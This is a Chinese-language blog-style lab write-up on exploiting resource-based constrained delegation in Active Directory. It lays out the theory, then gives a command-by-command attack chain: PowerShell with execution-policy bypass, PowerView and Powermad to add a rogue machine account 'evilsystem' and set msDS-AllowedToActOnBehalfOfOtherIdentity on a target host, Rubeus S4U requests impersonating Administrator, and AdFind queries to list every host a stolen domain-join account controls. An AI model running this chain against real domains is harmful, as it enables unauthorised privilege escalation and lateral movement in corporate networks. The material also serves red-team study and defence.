前言

Windows Server 2012引入了基于资源的约束委派
因为08及以下的域控没有msDS-AllowedToActOnBehalfOfOtherIdentity这个属性

特点:
1、无需在域管上设置相关属性
2、资源自己去设置哪些账户委派给自己的约束委派(不需要域管权限)

条件(总之需要用户对主机的属性具备写权限):
1.拥有msDS-AllowedToActOnBehalfOfOtherIdentity属性
那怎么样来获取修改这个属性呢?
1)任意的主机账户或者计算机账户权限(system用户,但是system权限只能对自己的计算机改啊,没有意义啊。)
2)具有写权限的特殊域用户
当我们只是一个普通的域用户时,并没有权限(如GenericAll、GenericWrite、WriteDacl等)为服务修改msDS-AllowedToActOnBehalf OfOtherIdentity属性。
因此我们需要:具有写权限的特殊加域用户

原本作用:
与前两者不同相反,前两者委派是域控上指定aaa能访问bbb,而基于资源的约束委派则是通过编辑自己的属性来让别人访问我。

实际利用:
普通的约束委派的配置需要SeEnableDelegation权限,而这个权限通常仅授予Domain Admins。
因此我们对普通的约束委派的利用,往往在于寻找域内傻逼管理员配置的已有的约束委派,再利用。

但是对于基于资源的约束委派,假如我们已经拥有主机账号1,那么只要我们具备用户2的LDAP权限,这样就可以配置服务1对服务2的约束委派(在主机账户2的用户属性上配置msDS-AllowedToActOnBehalfOfOtherIdentity为1的sid),服务1就可以控制服务2。

将该配置漏洞以一句话来形容:
在域环境中,任何一个域账户都能拉10台机器到域内,此时MAQ默认值=10,但是为了安全,肯定不能什么人都能往域里拉主机。
因此在大型内网域环境中,将机器加入到域环境中一般不会用域管权限,而是用一个专门加域的域用户去操作。那么当我们拿下该域用户的账号密码时,就可以把通过该域用户加入到域里的所有机器都拿下。如果你使用账户wangdachui把机器A拉入了域,那么wangdachui就拥有对机器A的msDS-AllowedToActOnBehalfOfOtherIdentity修改权限

运维Tips:
如何配置一个拉域主机账户
https://wenku.baidu.com/view/9f024470852458fb760b5610.html

简单的原理:
如果我们能通过A机器设置基于资源的约束委派给B(设置msDS-AllowedToActOnBehalfOfOtherIdentity属性,即能修改服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性权限),并通过服务A使用S4U2Self域控制器请求任意用户访问自身的服务票据,最后再使用S4U2Proxy转发此票据去请求访问服务B的TGS,那么我们将能模拟任意用户访问B的服务(拿下B机器)

实验

环境:
域iceice.com
域内普通主机 win-2008x——使用222账户拉入域内
域内受害主机(攻击机)win7——使用222账户拉入域内
域内普通用户: 111,是win7 这台主机的使用者
域内普通用户: 222,在win-2008x有写的权限
攻击的前提(我们获取了222的账户和密码——假设我们内网翻到了加域的密码本)

0、配置

域管理员可能设置了一个专门加域的账户222,此域用户对win-2008x机器账户有读写权限(如下图所示,其实不用做另外的配置,当222拉了win-2008x进入域后,就自动有了权限)
image.png
查询222这个域用户的SID(在哪里都能查)
powershell.exe -exec bypass -Command “&{Import-Module .\powerview.ps1;Get-DomainUser -Identity 222 -Properties objectsid}”
image.png
查看权限配置是否有读写权限(在哪里都能查)
powershell.exe -exec bypass -Command “&{Import-Module .\powerview.ps1;Get-DomainObjectAcl -Identity win-2008x | ?{$_.SecurityIdentifier -match ‘S-1-5-21-490170319-3814101014-949093152-1111’}}”
可以看到222(sid判断)对win-2008x有写的权限
1626953395(1).png
genericAll权限,GenericWrite、WriteProperty、WriteDacl等等权限都是可以修改账户属性的。

1、创建机器用户evilsystem

(每个普通域用户可以创造10个机器账户)

  1. powershell.exe -exec bypass -Command "&{Import-Module .\Powermad.ps1;New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force)}"

image.png
net group “domain computers” /domain 此时存在一个刚创建的机器用户evilsystem
image.png

2、配置evilsystem到win-2008x的基于资源约束的委派

2.1查询evilsystem机器用户的sid

  1. powershell.exe -exec bypass -Command "&{Import-Module .\Powerview.ps1;Get-DomainComputer evilsystem | select objectsid}"

image.png
在没有对win-2008x进行附加msds-allowedtoactonbehalfofotheridentity前 查看属性

  1. powershell.exe -exec bypass -Command "&{Import-Module .\Powerview.ps1;Get-DomainComputer win-2008x -Properties msds-allowedtoactonbehalfofotheridentity}"

image.png
2.2为其附加msds-allowedtoactonbehalfofotheridentity
对win-2008x进行附加msds-allowedtoactonbehalfofotheridentity
如果在win2012之上

  1. import-module ./Microsoft.ActiveDirectory.Management.dll
  2. 加载域控的dll才能设置该属性
  1. powershell
  2. Set-ExecutionPolicy Bypass -Scope Process
  3. Import-Module .\PowerView.ps1
  4. $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-490170319-3814101014-949093152-1113)"
  5. $SDBytes = New-Object byte[] ($SD.BinaryLength)
  6. $SD.GetBinaryForm($SDBytes, 0)
  7. Get-DomainComputer win-2008x| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

image.png
对win-2008x进行附加msds-allowedtoactonbehalfofotheridentity后如下图所示即成功附加属性
image.png
PS:清除该msds-allowedtoactonbehalfofotheridentity属性的命令如下,需要高权限

  1. powershell.exe -exec bypass -Command "&{Import-Module .\Powerview.ps1;Set-DomainObject win-2008x -Clear 'msds-allowedtoactonbehalfofotheridentity'-Verbose}"

3、攻击

3.1 将evilsystem机器用户转为hash
Rubeus.exe hash /user:evilsystem /password:evil /domain:iceice.com
image.png
3.2 正式获取票据
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:Administrator /msdsspn:cifs/win-2008x /ptt
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:Administrator /msdsspn:host/win-2008x /ptt
image.png
可以看到凭据出来了,但是还是连不上win-2008x
image.png
使用wmiexec连接也失败了
image.png
我也不知道为啥,日!!!!

python smbexec -no-pass -k \xxxxxx

4、怎么找

在拿到一台域内主机win7时,可以使用如下命令发现域内主机的SID
AdFind.exe -b “DC=iceice,DC=com” -f “(&(samAccountType=805306369))” cn mS-DS-CreatorSID
image.png
然后发现win7是被S-1-5-21-490170319-3814101014-949093152-1111这个SID的账户拉进来的(creator)

确认下这个SID是谁
AdFind.exe -b “DC=iceice,DC=com” -f “(&(objectsid=S-1-5-21-490170319-3814101014-949093152-1111))” objectclass cn dn
image.png
ok是一个叫222的域用户拉他进来的

最后看看这个222拉了多少台主机进入域内,这就是我们理论上能拿下的主机
AdFind.exe -b “DC=iceice,DC=com” -f “(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-490170319-3814101014-949093152-1111))” cn sAMAccountType objectCategory
image.png

最后如果发现没有creator-sid字段为空,那说明是域控直接拉进来的机器
最后respect daiker大佬的文章
https://daiker.gitbook.io/windows-protocol/

5、最后使用一个工具来总结一下三个委派

查询三种委派信息
StandIn.exe —delegation
https://github.com/FuzzySecurity/StandIn/releases
image.png

参考资料

https://blog.csdn.net/qq_41874930/article/details/111249630
https://blog.csdn.net/qq_41874930/article/details/108777247
https://www.cnblogs.com/Yang34/p/14264356.html
https://blog.csdn.net/a3320315/article/details/107096250/
https://skewwg.github.io/2020/11/25/ji-yu-zi-yuan-de-yue-shu-wei-pai-li-yong/
https://www.redteaming.top/2020/03/23/%E5%9F%9F%E6%B8%97%E9%80%8F%E2%80%94%E2%80%94%E5%9F%BA%E4%BA%8E%E8%B5%84%E6%BA%90%E7%9A%84%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE%E5%88%A9%E7%94%A8/#End
http://redteam.today/2019/10/18/%E7%94%A8%E5%9F%9F%E5%A7%94%E6%B4%BE%E6%89%93%E7%83%82kerberos%E7%8B%97%E5%A4%B4/